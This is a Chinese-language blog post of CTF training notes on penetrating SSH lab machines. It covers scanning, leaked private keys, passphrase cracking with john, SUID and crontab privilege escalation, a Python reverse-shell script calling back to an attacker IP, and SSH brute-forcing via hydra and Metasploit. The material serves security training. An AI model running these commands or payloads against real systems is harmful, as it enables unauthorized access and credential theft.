CTF夺旗培训学习笔记

0x00 前言

由于公司要派我和其他几个同事一起代表公司去参加一场CTF比赛,所以,就在网上找了一些资料来学习,在这里简单做下学习笔记。

0x01 CTF简介

CTF是一-种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”, 也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一-串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为”Flag”

CTF比赛中涉及内容比较繁杂,我们要利用所有可以利用的方法获得flag。

CTF比赛中,比赛环境有两种方式:
1.给与在同一局域网中的攻击机和靶场机器,以web方式可以访问攻击机,通过攻击机来渗透靶场机器,获取对应的Flag值;(一般情况下给与kali Linux作为攻击机,并且举办方提供计算机)
2.给与一个网线接口,用户自备工具,直接连接网线,进行渗透靶场机器,过去对应的flag值。

0x02 CTF夺旗之SSH私钥泄露

2.1 前期准备

1
2
netdiscover -r ip/network  # 发现主机
ping ip #测试连通性

2.2 信息探测

每一个服务对应计算机的一个端口,用来进行通信。常用端口0~1023端口,在扫描结果中查找特殊端口,针对特殊端口进行探测,尤其对开放大端口的http服务进行排查

2.4 探测大端口的信息

对于开放http服务的大端口,可以采取http://ip:port/的形式访问。

查看源代码获取对应信息,如果没有falg信息,使用工具探测隐藏页面。

1
dirb http://ip:port/  #对这个服务的隐藏文件进行探测。

发现robots.txt敏感文件

进一步对得到的信息进行探测

2.5 针对隐藏页面分析

直接使用浏览器访问,查看效果,对应源代码,可能会获取到flag,或者下一步对应的提示;
挖掘ssh信息,不断访问获取更多泄露的ssh秘钥信息
下载id_ras,和authorized keys

查看下载的两个秘钥文件信息,尝试使用秘钥登陆未能成功

给id_rsa赋予读写权限

说明:600 == 110 000 000 == rw- — —

2.6 解密ssh秘钥信息

使用ssh2johnid_isa秘钥信息转换为john可以识别的信息

1
2
chmod 600 id_isa
ssh2john id_isa > isacrack

利用字典解密isacrack信息

1
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe -rules isacrack

分析用户名、利用ssh登陆服务器

1
ssh -i id_isa 用户名@ssh靶场机器IP地址

到这里已经登陆到主机,但是并不是root权限,该如何获取root权限尼?
答:深入探测根目录-

查找具有root权限的文件

1
find / - perm -4000 2 > /dev/null

0x03. CTF夺旗之SSH服务渗透(拿到第一个用户权限)

3.1 ssh协议介绍

SSH 未Secure Shell的缩写,有IETF的网络小组(Network Working Group)所定制:SSH未建立在应用层基础上的安全协议
SSH是目前较为可靠,专门为远程登录会话和其他网络服务提供安全性的协议,利用SSH协议可以有效防止远程管理过程中信息泄露的问题。
SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多个平台,几乎所有UNIX平台,Windows平台以及MAC平台,都可以运行SHH,它是基于TCP 22号端口的服务。

3.2 SSH协议认证机制

  1. 基于口令的安全验证
    只要你自己知道账号和口令,就可以登陆到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想要的连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间人” 这种方式的攻击。

  2. 基于秘钥的安全验证
    需要依靠秘钥,也就是你必须为自己穿件一对秘钥,并把公钥放在需要访问的服务器上,如果你要连接到SSH服务器上,客户端软件就会向服务器发出请求,请求用你的私有秘钥进行安全验证。服务器收到请求之后,先在该服务器上你的主目录下寻找你的公用秘钥,然后把它和你发送过来的私有秘钥进行比较。如果两个秘钥一致,则验证成功,登陆服务器。

    id_rsa就是尼的私钥,而id_rsa.pub则是你的公钥

3.3 SSH协议验证机制弱点

  1. 基于口令的安全验证
    基于字典的暴力破解,破解对应用户名和密码,通过SSH客户端连接到远程主机的SSH服务,实现对服务器的一定控制(不一定为root权限)

  2. 基于秘钥的安全验证
    通过对主机信息收集,获取到泄露的用户名和对应的秘钥。

    1
    2
    chmod 600 id_rsa
    ssh -i id_rsa 用户名@主机地址 登陆服务器。(不一定是root权限)

3.4 信息探测

对于给定IP地址的靶场机器,对其进行渗透测试,首先需要考虑靶场机器开放的服务。

  1. 探测靶场开放的服务于服务版本。

    1
    nmap -sV 靶场IP地址
  2. 探测靶场全部信息

    1
    nmap -A -v 靶场IP地址
  3. 探测靶场的操作系统类型与版本

    1
    nmap -O 靶场IP地址

3.5 分析探测结果

对于SSH服务的22端口的靶场,首先考虑,

  1. 暴力破解
  2. 私钥泄露(私钥有没有对应的密码、是否可以找到私钥的用户名)

对于开放http服务的80端口或者其他端口的靶场,首先考虑:

  1. 通过浏览器访问对应的靶场http服务,如http://靶场ip地址:http服务端口
  2. 使用探测工具对http的目录进行探测,如dirb http://靶场IP地址:http服务端口

特别注意特殊端口,如8080等大端口号。

3.6 挖掘敏感信息

使用浏览器对靶场ip的http服务探测,对页面种展示的内容也要注意,尤其是联系人等信息(有可能就是SSH的用户名信息),递归访问,力争把每一个dirb扫描到的目录页面都访问查看。
尤其对robotx.txt,以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到SSH私钥信息(id_rsa)

挖掘到私钥信息

对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息
nikto -host 靶场IP地址
特别注意config 等特殊敏感文件,要细读扫描的结果,挖掘可以利用的敏感信息

3.7 利用敏感、弱点信息

对挖掘到的SSH秘钥利用

  1. 修改id_rsade 权限

    1
    chmod 600 id_rsa
  2. 利用私钥登陆服务器

    1
    ssh -i id_rsa 用户名@靶场IP地址

注意:如果id_rsa没有解密密码,可以直接使用。但是如果id_rsa有机密密码,那么就需要进行对应的破解。

使用wget远程下载靶机上的文件

将权限修改为600权限

尝试进行远程终端连接

3.8 扩大战果

登陆服务器之后,我们需要做一下操作:

  1. 查看当前用户whoami
  2. id 查看当前用户的权限
  3. 查看根目录寻找flag文件,如果是root权限,那么表明这个靶场就被全部拿下,但是如果不时,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组。
1
2
3
4
cat /etc/passwd  //查看所有用户的列表
cat /etc/group //查看用户组
find / -user 用户名 //查看属于某些用户的文件
/tmp //查看缓存文件目录

3.9 深入挖掘

通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务。
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对靶场机器的某个文件。
如果在/etc/crontab 下有某个用户的定时计划文件,但是具体目录下没有这个定时执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否有读写权限。

3.10 反弹shell

靶场代码

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python  ##环境变量的书写
import os,subprocess,socket #导入第三方库


s = socket.socekt(socket.AF_INET,socket.SOCK_STREAM) #创建套接字
s.connect("攻击机ip地址","攻击机监听端口") #利用套接字连接到攻击机的ip地址,以及攻击机监听的端口号

#将标准输入输出,以及错误输入输出
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

攻击机netcat命令:nc -lpv 未占用端口

说明:

l 表示监听模式

P 表示端口号

v 表示返回详细信息

查看占用端口netstat -pantu

3.11 背水一战

万不得已的时候只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具如hydra、medusa等

利用cupp创建字典

1
2
3
git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py
./cupp.py -i #以交互的方式创建字典

3.12 使用metasploit破解SSH

在终端输入

1
2
3
4
5
6
msfconsole
msf> use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login)>set rhosts 192.168.1.137
msf auxiliary(ssh_login)>set username hadi
msf auxiliary(ssh_login)>set pass_file hadi.txt
msf auxiliary(ssh_login)>run

优化会话

1
2
python -c “import pty;pty.spqwn('/bin/bash')”
su - root

注:暴力破解ssh可以使用超级弱口令工具,支持爆破SSH,FTP,MYSQL等弱口令,Windows版本。

GitHub地址:https://github.com/shack2/SNETCracker

3.13 获取Flag

提升到root权限之后,切换目录寻找flag文件。一般情况下,flag文件是在root目录下。
cat flag文件名(一般情况 flag.txt)

3.14 总结

在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登陆靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登陆靶场机。
CTF中要特别注意 /tmp数据缓冲目录 以及 /etc/crontab 设置定时之行文件

0x04 CTF夺旗之SMB信息泄露

###


文章作者: madcoding
文章链接: https://www.mad-coding.cn/2019/08/31/CTF夺旗培训学习笔记/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 madcoding’s blog
打赏
  • 微信
  • 支付宝

评论